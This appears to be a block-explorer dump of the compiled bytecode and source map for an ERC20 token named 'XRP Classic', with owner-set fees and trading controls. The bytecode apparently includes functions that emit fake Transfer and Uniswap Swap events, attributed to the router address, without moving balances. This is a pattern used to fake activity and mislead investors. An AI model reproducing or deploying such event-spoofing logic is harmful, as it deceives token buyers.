600160a01b03848116911614155b15611369575060006113e3565b6014546001600160a01b03858116911614801561139457506013546001600160a01b03848116911614155b156113a657600854600c55600954600d555b6014546001600160a01b0384811691161480156113d157506013546001600160a01b03858116911614155b156113e357600a54600c55600b54600d555b610c8c84848484611725565b600081848411156114135760405162461bcd60e51b81526004016108739190611b16565b5060006114208486611fd4565b95945050505050565b60008260000361143b575060006105b1565b60006114478385611fe7565b9050826114548583611ffe565b146114ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610873565b9392505050565b60006114ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611753565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006006548211156115955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610873565b600061159f611781565b90506114ab83826114b2565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115f3576115f3611f2a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561164c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116709190612020565b8160018151811061168357611683611f2a565b6001600160a01b0392831660209182029290920101526013546116a99130911684610e29565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906116e290859060009086903090429060040161203d565b600060405180830381600087803b1580156116fc57600080fd5b505af1158015611710573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611732576117326117a4565b61173d8484846117d2565b80610c8c57610c8c600e54600c55600f54600d55565b600081836117745760405162461bcd60e51b81526004016108739190611b16565b5060006114208486611ffe565b600080600061178e6118c9565b909250905061179d82826114b2565b9250505090565b600c541580156117b45750600d54155b156117bb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117e48761190b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118169087611968565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461184590866119aa565b6001600160a01b03891660009081526002602052604090205561186781611a09565b6118718483611a53565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118b691815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006118e582826114b2565b8210156119025750506006549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006119288a600c54600d54611a77565b9250925092506000611938611781565b9050600080600061194b8e878787611ac6565b919e509c509a509598509396509194505050505091939550919395565b60006114ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ef565b6000806119b78385611fc1565b9050838110156114ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610873565b6000611a13611781565b90506000611a218383611429565b30600090815260026020526040902054909150611a3e90826119aa565b30600090815260026020526040902055505050565b600654611a609083611968565b600655600754611a7090826119aa565b6007555050565b6000808080611a8b606461089f8989611429565b90506000611a9e606461089f8a89611429565b90506000611ab682611ab08b86611968565b90611968565b9992985090965090945050505050565b6000808080611ad58886611429565b90506000611ae38887611429565b90506000611af18888611429565b90506000611b0382611ab08686611968565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611b4357858101830151858201604001528201611b27565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461098b57600080fd5b8035611b8481611b64565b919050565b60008060408385031215611b9c57600080fd5b8235611ba781611b64565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611bf457611bf4611bb5565b604052919050565b600067ffffffffffffffff821115611c1657611c16611bb5565b5060051b60200190565b600082601f830112611c3157600080fd5b81356020611c46611c4183611bfc565b611bcb565b82815260059290921b84018101918181019086841115611c6557600080fd5b8286015b84811015611c805780358352918301918301611c69565b509695505050505050565b600080600080600060a08688031215611ca357600080fd5b8535611cae81611b64565b945060208681013567ffffffffffffffff80821115611ccc57600080fd5b818901915089601f830112611ce057600080fd5b8135611cee611c4182611bfc565b81815260059190911b8301840190848101908c831115611d0d57600080fd5b938501935b82851015611d34578435611d2581611b64565b82529385019390850190611d12565b985050506040890135925080831115611d4c57600080fd5b611d588a848b01611c20565b95506060890135925080831115611d6e57600080fd5b5050611d7c88828901611c20565b925050611d8b60808701611b79565b90509295509295909350565b600080600060608486031215611dac57600080fd5b8335611db781611b64565b92506020840135611dc781611b64565b929592945050506040919091013590565b600060208284031215611dea57600080fd5b5035919050565b801515811461098b57600080fd5b600060208284031215611e1157600080fd5b81356114ab81611df1565b600060208284031215611e2e57600080fd5b81356114ab81611b64565b60008060008060808587031215611e4f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611e8057600080fd5b833567ffffffffffffffff80821115611e9857600080fd5b818601915086601f830112611eac57600080fd5b813581811115611ebb57600080fd5b8760208260051b8501011115611ed057600080fd5b60209283019550935050840135611ee681611df1565b809150509250925092565b60008060408385031215611f0457600080fd5b8235611f0f81611b64565b91506020830135611f1f81611b64565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611f5257600080fd5b81516114ab81611df1565b634e487b7160e01b600052601160045260246000fd5b600060018201611f8557611f85611f5d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156105b1576105b1611f5d565b818103818111156105b1576105b1611f5d565b80820281158282048414176105b1576105b1611f5d565b60008261201b57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561203257600080fd5b81516114ab81611b64565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208d5784516001600160a01b031683529383019391830191600101612068565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b76ef827d2d8cf554f51a3567c44af45075c4c69e7fc8b1934324311fbf77d764736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610505578063dd62ed3e1461051a578063e156b1b614610560578063f2fde38b1461058057600080fd5b8063a9059cbb14610490578063b87f137a146104b0578063ba66292f146104d0578063bea1cb27146104e557600080fd5b80638f9a55c0116100d15780638f9a55c01461040d57806395d89b411461042357806398a5c31514610450578063a063d44e1461047057600080fd5b80637d1db4a5146103c45780638a8c523c146103da5780638da5cb5b146103ef57600080fd5b80632fd689e3116101645780636d8aa8f81161013e5780636d8aa8f81461035a5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a57600080fd5b806318160ddd116101a057806318160ddd146102805780631ae1ffbc146102a657806323b872dd146102c65780632db5ee76146102e657600080fd5b806306fdde03146101d2578063095ea7b3146102185780631694505e1461024857600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600b81526a58525020436c617373696360a81b60208201525b60405161020f9190611b16565b60405180910390f35b34801561022457600080fd5b50610238610233366004611b89565b6105a0565b604051901515815260200161020f565b34801561025457600080fd5b50601354610268906001600160a01b031681565b6040516001600160a01b03909116815260200161020f565b34801561028c57600080fd5b5068056bc75e2d631000005b60405190815260200161020f565b3480156102b257600080fd5b506102386102c1366004611c8b565b6105b7565b3480156102d257600080fd5b506102386102e1366004611d97565b6107e0565b3480156102f257600080fd5b50610306610301366004611dd8565b610849565b005b34801561031457600080fd5b5061029860175481565b34801561032a57600080fd5b506040516009815260200161020f565b34801561034657600080fd5b50601454610268906001600160a01b031681565b34801561036657600080fd5b50610306610375366004611dff565b6108fb565b34801561038657600080fd5b50610306610943565b34801561039b57600080fd5b506102986103aa366004611e1c565b61098e565b3480156103bb57600080fd5b506103066109b0565b3480156103d057600080fd5b5061029860155481565b3480156103e657600080fd5b50610306610a24565b3480156103fb57600080fd5b506000546001600160a01b0316610268565b34801561041957600080fd5b5061029860165481565b34801561042f57600080fd5b506040805180820190915260048152635852504360e01b6020820152610202565b34801561045c57600080fd5b5061030661046b366004611dd8565b610a63565b34801561047c57600080fd5b5061030661048b366004611e39565b610a92565b34801561049c57600080fd5b506102386104ab366004611b89565b610afe565b3480156104bc57600080fd5b506103066104cb366004611dd8565b610b0b565b3480156104dc57600080fd5b50610306610bb3565b3480156104f157600080fd5b50610306610500366004611e6b565b610bf1565b34801561051157600080fd5b50610306610c92565b34801561052657600080fd5b50610298610535366004611ef1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056c57600080fd5b5061023861057b366004611d97565b610ce6565b34801561058c57600080fd5b5061030661059b366004611e1c565b610d3f565b60006105ad338484610e29565b5060015b92915050565b6000805b85518110156107d3578581815181106105d6576105d6611f2a565b60200260200101516001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061062457610624611f2a565b602002602001015160405161063b91815260200190565b60405180910390a385818151811061065557610655611f2a565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106b7576106b7611f2a565b60200260200101516000808987815181106106d4576106d4611f2a565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061072257610722611f2a565b60200260200101518987858151811061073d5761073d611f2a565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611f40565b50806107cb81611f73565b9150506105bb565b5060019695505050505050565b60006107ed848484610f4d565b61083f843361083a856040518060600160405280602881526020016120af602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ef565b610e29565b5060019392505050565b6000546001600160a01b0316331461087c5760405162461bcd60e51b815260040161087390611f8c565b60405180910390fd5b601581905560006108a56103e861089f600568056bc75e2d631000005b90611429565b906114b2565b9050808210156108f75760405162461bcd60e51b815260206004820152601e60248201527f4d61782054582063616e6e6f74206265206c657373207468616e202e352500006044820152606401610873565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161087390611f8c565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061097857506012546001600160a01b0316336001600160a01b0316145b61098157600080fd5b4761098b816114f4565b50565b6001600160a01b0381166000908152600260205260408120546105b19061152e565b6000546001600160a01b031633146109da5760405162461bcd60e51b815260040161087390611f8c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161087390611f8c565b6014805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161087390611f8c565b601755565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260040161087390611f8c565b6019610ac88386611fc1565b1115610ad357600080fd5b6023610adf8285611fc1565b1115610aea57600080fd5b600893909355600a91909155600955600b55565b60006105ad338484610f4d565b6000546001600160a01b03163314610b355760405162461bcd60e51b815260040161087390611f8c565b60168190556000610b566103e861089f600568056bc75e2d63100000610899565b9050808210156108f75760405162461bcd60e51b815260206004820152602260248201527f4d61782057616c6c65742063616e6e6f74206265206c657373207468616e202e604482015261352560f01b6064820152608401610873565b6000546001600160a01b03163314610bdd5760405162461bcd60e51b815260040161087390611f8c565b68056bc75e2d631000006015819055601655565b6000546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161087390611f8c565b60005b82811015610c8c578160056000868685818110610c3d57610c3d611f2a565b9050602002016020810190610c529190611e1c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c8481611f73565b915050610c1e565b50505050565b6011546001600160a01b0316336001600160a01b03161480610cc757506012546001600160a01b0316336001600160a01b0316145b610cd057600080fd5b6000610cdb3061098e565b905061098b816115ab565b6000826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2d91815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b815260040161087390611f8c565b6001600160a01b038116610dce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610873565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610873565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610873565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610873565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610873565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610873565b6000546001600160a01b038481169116148015906110a157506000546001600160a01b03838116911614155b156112e857601454600160a01b900460ff1661113a576000546001600160a01b0384811691161461113a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610873565b60155481111561118c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610873565b6014546001600160a01b0383811691161461121157601654816111ae8461098e565b6111b89190611fc1565b106112115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610873565b600061121c3061098e565b6017546015549192508210159082106112355760155491505b80801561124c5750601454600160a81b900460ff16155b801561126657506014546001600160a01b03868116911614155b801561127b5750601454600160b01b900460ff165b80156112a057506001600160a01b03851660009081526005602052604090205460ff16155b80156112c557506001600160a01b03841660009081526005602052604090205460ff16155b156112e5576112d3826115ab565b4780156112e3576112e3476114f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061132a57506001600160a01b03831660009081526005602052604090205460ff165b8061135c57506014546001600160a01b0385811691161480159061135c57506014546001600160a01b03848116911614155b15611369575060006113e3565b6014546001600160a01b03858116911614801561139457506013546001600160a01b03848116911614155b156113a657600854600c55600954600d555b6014546001600160a01b0384811691161480156113d157506013546001600160a01b03858116911614155b156113e357600a54600c55600b54600d555b610c8c84848484611725565b600081848411156114135760405162461bcd60e51b81526004016108739190611b16565b5060006114208486611fd4565b95945050505050565b60008260000361143b575060006105b1565b60006114478385611fe7565b9050826114548583611ffe565b146114ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610873565b9392505050565b60006114ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611753565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006006548211156115955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610873565b600061159f611781565b90506114ab83826114b2565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115f3576115f3611f2a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561164c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116709190612020565b8160018151811061168357611683611f2a565b6001600160a01b0392831660209182029290920101526013546116a99130911684610e29565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906116e290859060009086903090429060040161203d565b600060405180830381600087803b1580156116fc57600080fd5b505af1158015611710573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611732576117326117a4565b61173d8484846117d2565b80610c8c57610c8c600e54600c55600f54600d55565b600081836117745760405162461bcd60e51b81526004016108739190611b16565b5060006114208486611ffe565b600080600061178e6118c9565b909250905061179d82826114b2565b9250505090565b600c541580156117b45750600d54155b156117bb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117e48761190b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118169087611968565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461184590866119aa565b6001600160a01b03891660009081526002602052604090205561186781611a09565b6118718483611a53565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118b691815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006118e582826114b2565b8210156119025750506006549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006119288a600c54600d54611a77565b9250925092506000611938611781565b9050600080600061194b8e878787611ac6565b919e509c509a509598509396509194505050505091939550919395565b60006114ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ef565b6000806119b78385611fc1565b9050838110156114ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610873565b6000611a13611781565b90506000611a218383611429565b30600090815260026020526040902054909150611a3e90826119aa565b30600090815260026020526040902055505050565b600654611a609083611968565b600655600754611a7090826119aa565b6007555050565b6000808080611a8b606461089f8989611429565b90506000611a9e606461089f8a89611429565b90506000611ab682611ab08b86611968565b90611968565b9992985090965090945050505050565b6000808080611ad58886611429565b90506000611ae38887611429565b90506000611af18888611429565b90506000611b0382611ab08686611968565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611b4357858101830151858201604001528201611b27565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461098b57600080fd5b8035611b8481611b64565b919050565b60008060408385031215611b9c57600080fd5b8235611ba781611b64565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611bf457611bf4611bb5565b604052919050565b600067ffffffffffffffff821115611c1657611c16611bb5565b5060051b60200190565b600082601f830112611c3157600080fd5b81356020611c46611c4183611bfc565b611bcb565b82815260059290921b84018101918181019086841115611c6557600080fd5b8286015b84811015611c805780358352918301918301611c69565b509695505050505050565b600080600080600060a08688031215611ca357600080fd5b8535611cae81611b64565b945060208681013567ffffffffffffffff80821115611ccc57600080fd5b818901915089601f830112611ce057600080fd5b8135611cee611c4182611bfc565b81815260059190911b8301840190848101908c831115611d0d57600080fd5b938501935b82851015611d34578435611d2581611b64565b82529385019390850190611d12565b985050506040890135925080831115611d4c57600080fd5b611d588a848b01611c20565b95506060890135925080831115611d6e57600080fd5b5050611d7c88828901611c20565b925050611d8b60808701611b79565b90509295509295909350565b600080600060608486031215611dac57600080fd5b8335611db781611b64565b92506020840135611dc781611b64565b929592945050506040919091013590565b600060208284031215611dea57600080fd5b5035919050565b801515811461098b57600080fd5b600060208284031215611e1157600080fd5b81356114ab81611df1565b600060208284031215611e2e57600080fd5b81356114ab81611b64565b60008060008060808587031215611e4f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611e8057600080fd5b833567ffffffffffffffff80821115611e9857600080fd5b818601915086601f830112611eac57600080fd5b813581811115611ebb57600080fd5b8760208260051b8501011115611ed057600080fd5b60209283019550935050840135611ee681611df1565b809150509250925092565b60008060408385031215611f0457600080fd5b8235611f0f81611b64565b91506020830135611f1f81611b64565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611f5257600080fd5b81516114ab81611df1565b634e487b7160e01b600052601160045260246000fd5b600060018201611f8557611f85611f5d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156105b1576105b1611f5d565b818103818111156105b1576105b1611f5d565b80820281158282048414176105b1576105b1611f5d565b60008261201b57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561203257600080fd5b81516114ab81611b64565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208d5784516001600160a01b031683529383019391830191600101612068565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b76ef827d2d8cf554f51a3567c44af45075c4c69e7fc8b1934324311fbf77d764736f6c63430008130033
Deployed Bytecode Sourcemap
4401:14504:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6894:83;;;;;;;;;;-1:-1:-1;6964:5:0;;;;;;;;;;;;-1:-1:-1;;;6964:5:0;;;;6894:83;;;;;;;:::i;:::-;;;;;;;;7819:193;;;;;;;;;;-1:-1:-1;7819:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7819:193:0;1162:187:1;5728:41:0;;;;;;;;;;-1:-1:-1;5728:41:0;;;;-1:-1:-1;;;;;5728:41:0;;;;;;-1:-1:-1;;;;;1544:32:1;;;1526:51;;1514:2;1499:18;5728:41:0;1354:229:1;7171:95:0;;;;;;;;;;-1:-1:-1;4967:20:0;7171:95;;;1734:25:1;;;1722:2;1707:18;7171:95:0;1588:177:1;8961:734:0;;;;;;;;;;-1:-1:-1;8961:734:0;;;;;:::i;:::-;;:::i;8020:446::-;;;;;;;;;;-1:-1:-1;8020:446:0;;;;;:::i;:::-;;:::i;18044:234::-;;;;;;;;;;-1:-1:-1;18044:234:0;;;;;:::i;:::-;;:::i;:::-;;6037:55;;;;;;;;;;;;;;;;7080:83;;;;;;;;;;-1:-1:-1;7080:83:0;;4641:1;5486:36:1;;5474:2;5459:18;7080:83:0;5344:184:1;5776:28:0;;;;;;;;;;-1:-1:-1;5776:28:0;;;;-1:-1:-1;;;;;5776:28:0;;;17904:101;;;;;;;;;;-1:-1:-1;17904:101:0;;;;;:::i;:::-;;:::i;13610:235::-;;;;;;;;;;;;;:::i;7274:138::-;;;;;;;;;;-1:-1:-1;7274:138:0;;;;;:::i;:::-;;:::i;1888:148::-;;;;;;;;;;;;;:::i;5925:48::-;;;;;;;;;;;;;;;;13279:79;;;;;;;;;;;;;:::i;1674:::-;;;;;;;;;;-1:-1:-1;1712:7:0;1739:6;-1:-1:-1;;;;;1739:6:0;1674:79;;5980:50;;;;;;;;;;;;;;;;6985:87;;;;;;;;;;-1:-1:-1;7057:7:0;;;;;;;;;;;;-1:-1:-1;;;7057:7:0;;;;6985:87;;17713:139;;;;;;;;;;-1:-1:-1;17713:139:0;;;;;:::i;:::-;;:::i;17251:410::-;;;;;;;;;;-1:-1:-1;17251:410:0;;;;;:::i;:::-;;:::i;7420:199::-;;;;;;;;;;-1:-1:-1;7420:199:0;;;;;:::i;:::-;;:::i;18286:248::-;;;;;;;;;;-1:-1:-1;18286:248:0;;;;;:::i;:::-;;:::i;18776:123::-;;;;;;;;;;;;;:::i;18542:226::-;;;;;;;;;;-1:-1:-1;18542:226:0;;;;;:::i;:::-;;:::i;13366:236::-;;;;;;;;;;;;;:::i;7627:184::-;;;;;;;;;;-1:-1:-1;7627:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7776:18:0;;;7744:7;7776:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7627:184;8803:156;;;;;;;;;;-1:-1:-1;8803:156:0;;;;;:::i;:::-;;:::i;2044:244::-;;;;;;;;;;-1:-1:-1;2044:244:0;;;;;:::i;:::-;;:::i;7819:193::-;7921:4;7943:39;228:10;7966:7;7975:6;7943:8;:39::i;:::-;-1:-1:-1;8000:4:0;7819:193;;;;;:::o;8961:734::-;9188:4;;9205:461;9229:10;:17;9225:1;:21;9205:461;;;9295:10;9306:1;9295:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;9273:53:0;9282:11;-1:-1:-1;;;;;9273:53:0;;9310:12;9323:1;9310:15;;;;;;;;:::i;:::-;;;;;;;9273:53;;;;1734:25:1;;1722:2;1707:18;;1588:177;9273:53:0;;;;;;;;9537:10;9548:1;9537:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;9346:219:0;9369:42;-1:-1:-1;;;;;9346:219:0;;9430:12;9443:1;9430:15;;;;;;;;:::i;:::-;;;;;;;9464:1;9484;9504:11;9516:1;9504:14;;;;;;;;:::i;:::-;;;;;;;;;;;;9346:219;;;8279:25:1;;;8320:18;;;8313:34;;;;8363:18;;8356:34;8421:2;8406:18;;8399:34;8266:3;8251:19;9346:219:0;;;;;;;9587:12;-1:-1:-1;;;;;9580:30:0;;9611:10;9622:1;9611:13;;;;;;;;:::i;:::-;;;;;;;9626:11;9639;9651:1;9639:14;;;;;;;;:::i;:::-;;;;;;;;;;;9580:74;;-1:-1:-1;;;;;;9580:74:0;;;;;;;-1:-1:-1;;;;;8702:15:1;;;9580:74:0;;;8684:34:1;8754:15;;;;8734:18;;;8727:43;8786:18;;;8779:34;8619:18;;9580:74:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;9248:3:0;;;;:::i;:::-;;;;9205:461;;;-1:-1:-1;9683:4:0;;8961:734;-1:-1:-1;;;;;;8961:734:0:o;8020:446::-;8152:4;8169:36;8179:6;8187:9;8198:6;8169:9;:36::i;:::-;8216:220;8239:6;228:10;8287:138;8343:6;8287:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8287:19:0;;;;;;:11;:19;;;;;;;;228:10;8287:33;;;;;;;;;;:37;:138::i;:::-;8216:8;:220::i;:::-;-1:-1:-1;8454:4:0;8020:446;;;;;:::o;18044:234::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;;;;;;;;;18120:12:::1;:26:::0;;;18153:13:::1;18169:30;18194:4;18169:20;18187:1;4967:20:::0;18169:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;18153:46;;18229:5;18214:11;:20;;18206:63;;;::::0;-1:-1:-1;;;18206:63:0;;9909:2:1;18206:63:0::1;::::0;::::1;9891:21:1::0;9948:2;9928:18;;;9921:30;9987:32;9967:18;;;9960:60;10037:18;;18206:63:0::1;9707:354:1::0;18206:63:0::1;18109:169;18044:234:::0;:::o;17904:101::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;17971:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;17971:26:0::1;-1:-1:-1::0;;;;17971:26:0;;::::1;::::0;;;::::1;::::0;;17904:101::o;13610:235::-;13676:19;;-1:-1:-1;;;;;13676:19:0;228:10;-1:-1:-1;;;;;13660:35:0;;:72;;;-1:-1:-1;13715:17:0;;-1:-1:-1;;;;;13715:17:0;228:10;-1:-1:-1;;;;;13699:33:0;;13660:72;13652:81;;;;;;13773:21;13805:32;13773:21;13805:12;:32::i;:::-;13641:204;13610:235::o;7274:138::-;-1:-1:-1;;;;;7387:16:0;;7340:7;7387:16;;;:7;:16;;;;;;7367:37;;:19;:37::i;1888:148::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;1995:1:::1;1979:6:::0;;1958:40:::1;::::0;-1:-1:-1;;;;;1979:6:0;;::::1;::::0;1958:40:::1;::::0;1995:1;;1958:40:::1;2026:1;2009:19:::0;;-1:-1:-1;;;;;;2009:19:0::1;::::0;;1888:148::o;13279:79::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;13332:11:::1;:18:::0;;-1:-1:-1;;;;13332:18:0::1;-1:-1:-1::0;;;13332:18:0::1;::::0;;13279:79::o;17713:139::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;17804:19:::1;:40:::0;17713:139::o;17251:410::-;1801:6;;-1:-1:-1;;;;;1801:6:0;228:10;1801:22;1793:67;;;;-1:-1:-1;;;1793:67:0;;;;;;;:::i;:::-;17433:2:::1;17401:27;17417:11:::0;17401:13;:27:::1;:::i;:::-;17400:35;;17392:44;;;::::0;::::1;;17490:2;17456:29;17473:12:::0;17456:14;:29:::1;:::i;:::-;17455:37;;17447:46;;;::::0;::::1;;17504:14;:30:::0;;;;17545:15:::1;:32:::0;;;;1758